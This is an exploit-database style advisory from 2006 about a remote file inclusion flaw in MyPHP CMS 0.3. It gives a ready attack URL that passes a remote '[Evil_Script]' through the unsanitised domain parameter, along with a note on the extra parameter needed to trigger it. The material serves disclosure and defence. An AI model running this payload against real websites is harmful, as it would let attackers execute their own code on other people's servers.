[Exploit]  [Remote]  [Local]  [Web Apps]  [Dos/Poc]  [Shellcode]  [RSS]

# Title : MyPHP CMS <= 0.3 (domain) Remote File Include Vulnerability
# Published : 2006-07-05
# Author : Kw3[R]Ln
# Previous Title : Hosting Controller <= 6.1 Hotfix 3.1 Privilege Escalation Vulnerability
# Next Title : galleria Mambo Module <= 1.0b Remote File Include Vulnerability


---------------------------------------------------------------------------
MyPHP CMS <= 0.3 (domain) Remote File Include Vulnerabilities
---------------------------------------------------------------------------


Discovered By Kw3[R]Ln [ Romanian Security Team ] : hTTp://RoSecurityGroup.net :
Remote : Yes
Critical Level : Dangerous

---------------------------------------------------------------------------
Affected software description :
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Application : MyPHP CMS
version : latest version [ 0.3 ]
URL : http://sourceforge.net/projects/myphpcms

------------------------------------------------------------------
Exploit:
~~~~~~~

Variable $domain not sanitized.When register_globals=on an attacker can exploit this vulnerability with a simple php injection script.


# http://www.site.com/[path]/styles/default/global_header.php?installed=23&domain=[Evil_Script]

---------------------------------------------------------------------------

Solution :
~~~~~~~~~

declare variabel $domain
---------------------------------------------------------------------------


Shoutz:
~~~~~

# Special greetz to my good friend [Oo]
# To all members of h4cky0u.org ;) and RST [ hTTp://RoSecurityGroup.net ]
---------------------------------------------------------------------------

*/

Contact:
~~~~~~~

Nick: Kw3rLn
E-mail: ciriboflacs[at]YaHoo[dot]Com
Homepage: hTTp://RoSecurityGroup.net
/*

-------------------------------- [ EOF] ----------------------------------

# Further Notes
if ( !isset ( $installed ) )
{
        header ( "Location: install_sql.php" );
}

added installed to the get request for the vulnerability to work correctly.

/str0ke

# www.Syue.com [2006-07-05]